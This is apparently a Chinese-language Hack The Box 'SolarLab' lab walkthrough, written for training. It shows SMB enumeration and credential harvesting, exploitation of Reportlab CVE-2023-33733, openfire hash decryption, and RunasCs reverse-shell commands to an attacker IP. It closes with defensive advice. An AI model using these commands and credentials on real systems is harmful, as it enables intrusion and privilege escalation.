HackThebox SolarLab Walkthrough
字数 1520 2025-08-19 12:41:50

SolarLab HTB 渗透测试完整教学文档

1. 初始信息收集

1.1 端口扫描

使用Nmap进行初始扫描:

nmap -A -Pn -sV 10.10.11.16 -oN SolarLab.tcp

扫描结果:

  • 80/tcp: HTTP (nginx 1.24.0)
  • 135/tcp: MSRPC (Microsoft Windows RPC)
  • 139/tcp: NETBIOS-SSN
  • 445/tcp: Microsoft-DS (Samba)

1.2 SMB枚举

使用smbmap检查共享权限:

smbmap -H 10.10.11.16 -u " "

发现"Documents"共享有读取权限,下载所有可访问文件:

smbclient //10.10.11.16/Documents/
> prompt OFF
> recurse ON
> mget *

下载的文件:

  • desktop.ini
  • details-file.xlsx
  • old_leave_request_form.docx
  • concepts/Training-Request-Form.docx
  • concepts/Travel-Request-Sample.docx

2. 凭证收集与分析

2.1 从Excel文件中提取凭证

details-file.xlsx中包含以下凭证信息:

用户名:

Alexander.knight@gmail.com
KAlexander
Alexander.knight@gmail.com
blake.byte
AlexanderK
ClaudiaS

密码:

al;ksdhfewoiuhdkjafblkjadsfgld398sadsknr390
ThisCanB3typedeasily1@
danenacia9234ndadsfawe9dafkn

2.2 密码喷洒攻击

尝试使用收集到的凭证进行密码喷洒,但初始尝试未成功。

3. 全端口扫描

发现遗漏的6791端口:

nmap -p- -Pn 10.10.11.16
nmap -p6791 -A -sV 10.10.11.16

6791端口运行nginx 1.24.0,重定向到:

http://report.solarlab.htb:6791/

4. 登录PDF生成站点

发现用户名格式为"名字+姓氏首字母":

  • AlexanderK
  • ClaudiaS
  • 推测可能存在BlakeB

尝试组合:

用户名: BlakeB
密码: ThisCanB3typedeasily1@

登录成功,进入PDF生成站点。

5. 漏洞利用

5.1 识别漏洞

PDF生成器可能使用Reportlab,存在CVE-2023-33733:

  • Reportlab ≤ v3.6.12允许通过特制PDF文件执行任意代码

利用代码:

https://github.com/c53elyas/CVE-2023-33733

5.2 获取初始访问

成功利用漏洞获取初始访问权限。

6. 横向移动

6.1 收集更多凭证

从系统中收集到更多凭证:

blakeb: ThisCanB3typedeasily1@
claudias: 007poiuytrewq
alexanderk: HotP!fireguard

6.2 枚举本地用户

使用Sharpshooter枚举本地用户:

Get-LocalUser

发现用户:

  • Administrator
  • blake
  • DefaultAccount
  • Guest
  • openfire
  • WDAGUtilityAccount

6.3 横向到openfire用户

使用crackmapexec验证凭证:

crackmapexec smb solarlab.htb -u users.txt -p pass.txt --continue-on-success -x whoami

发现openfire用户凭证有效:

solarlab\openfire:HotP!fireguard

6.4 获取openfire访问

使用RunasCs执行powershell:

.\RunasCs.exe openfire HotP!fireguard powershell -r 10.10.14.18:8888

7. 权限提升

7.1 发现Openfire管理员凭证

在openfire程序目录中发现:

embedded-db/openfire.script

包含管理员凭证哈希:

INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')

加密密钥:

INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)

7.2 解密密码

使用openfire_decrypt工具解密:

java OpenFireDecryptPass.java becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn

获得管理员密码:

ThisPasswordShouldDo!@

7.3 获取管理员权限

使用RunasCs获取管理员shell:

.\RunasCs.exe Administrator ThisPasswordShouldDo!@ powershell -r 10.10.14.18:9999

8. 关键工具与技术总结

  1. 信息收集工具

    • Nmap (端口扫描)
    • smbmap/smbclient (SMB枚举)
  2. 凭证收集与分析

    • 文件分析 (Excel, Word文档)
    • 密码喷洒攻击
  3. 漏洞利用

    • CVE-2023-33733 (Reportlab RCE)
    • GitHub利用代码
  4. 横向移动工具

    • crackmapexec (凭证验证)
    • RunasCs (权限提升)
  5. 密码解密

    • openfire_decrypt (Openfire密码解密)
  6. 权限提升技术

    • 服务配置文件中寻找凭证
    • 密码重用攻击

9. 防御建议

  1. 密码策略

    • 避免密码重用
    • 实施强密码策略
    • 定期轮换凭证
  2. 服务安全

    • 及时更新软件(如Reportlab)
    • 限制SMB共享权限
    • 保护配置文件中的敏感信息
  3. 网络架构

    • 网络分段
    • 最小权限原则
    • 监控异常登录行为
  4. 应用安全

    • 输入验证
    • 安全文件处理
    • 禁用不必要的服务
SolarLab HTB 渗透测试完整教学文档 1. 初始信息收集 1.1 端口扫描 使用Nmap进行初始扫描: 扫描结果: 80/tcp: HTTP (nginx 1.24.0) 135/tcp: MSRPC (Microsoft Windows RPC) 139/tcp: NETBIOS-SSN 445/tcp: Microsoft-DS (Samba) 1.2 SMB枚举 使用smbmap检查共享权限: 发现"Documents"共享有读取权限,下载所有可访问文件: 下载的文件: desktop.ini details-file.xlsx old_ leave_ request_ form.docx concepts/Training-Request-Form.docx concepts/Travel-Request-Sample.docx 2. 凭证收集与分析 2.1 从Excel文件中提取凭证 details-file.xlsx中包含以下凭证信息: 用户名: 密码: 2.2 密码喷洒攻击 尝试使用收集到的凭证进行密码喷洒,但初始尝试未成功。 3. 全端口扫描 发现遗漏的6791端口: 6791端口运行nginx 1.24.0,重定向到: 4. 登录PDF生成站点 发现用户名格式为"名字+姓氏首字母": AlexanderK ClaudiaS 推测可能存在BlakeB 尝试组合: 登录成功,进入PDF生成站点。 5. 漏洞利用 5.1 识别漏洞 PDF生成器可能使用Reportlab,存在CVE-2023-33733: Reportlab ≤ v3.6.12允许通过特制PDF文件执行任意代码 利用代码: 5.2 获取初始访问 成功利用漏洞获取初始访问权限。 6. 横向移动 6.1 收集更多凭证 从系统中收集到更多凭证: 6.2 枚举本地用户 使用Sharpshooter枚举本地用户: 发现用户: Administrator blake DefaultAccount Guest openfire WDAGUtilityAccount 6.3 横向到openfire用户 使用crackmapexec验证凭证: 发现openfire用户凭证有效: 6.4 获取openfire访问 使用RunasCs执行powershell: 7. 权限提升 7.1 发现Openfire管理员凭证 在openfire程序目录中发现: 包含管理员凭证哈希: 加密密钥: 7.2 解密密码 使用openfire_ decrypt工具解密: 获得管理员密码: 7.3 获取管理员权限 使用RunasCs获取管理员shell: 8. 关键工具与技术总结 信息收集工具 : Nmap (端口扫描) smbmap/smbclient (SMB枚举) 凭证收集与分析 : 文件分析 (Excel, Word文档) 密码喷洒攻击 漏洞利用 : CVE-2023-33733 (Reportlab RCE) GitHub利用代码 横向移动工具 : crackmapexec (凭证验证) RunasCs (权限提升) 密码解密 : openfire_ decrypt (Openfire密码解密) 权限提升技术 : 服务配置文件中寻找凭证 密码重用攻击 9. 防御建议 密码策略 : 避免密码重用 实施强密码策略 定期轮换凭证 服务安全 : 及时更新软件(如Reportlab) 限制SMB共享权限 保护配置文件中的敏感信息 网络架构 : 网络分段 最小权限原则 监控异常登录行为 应用安全 : 输入验证 安全文件处理 禁用不必要的服务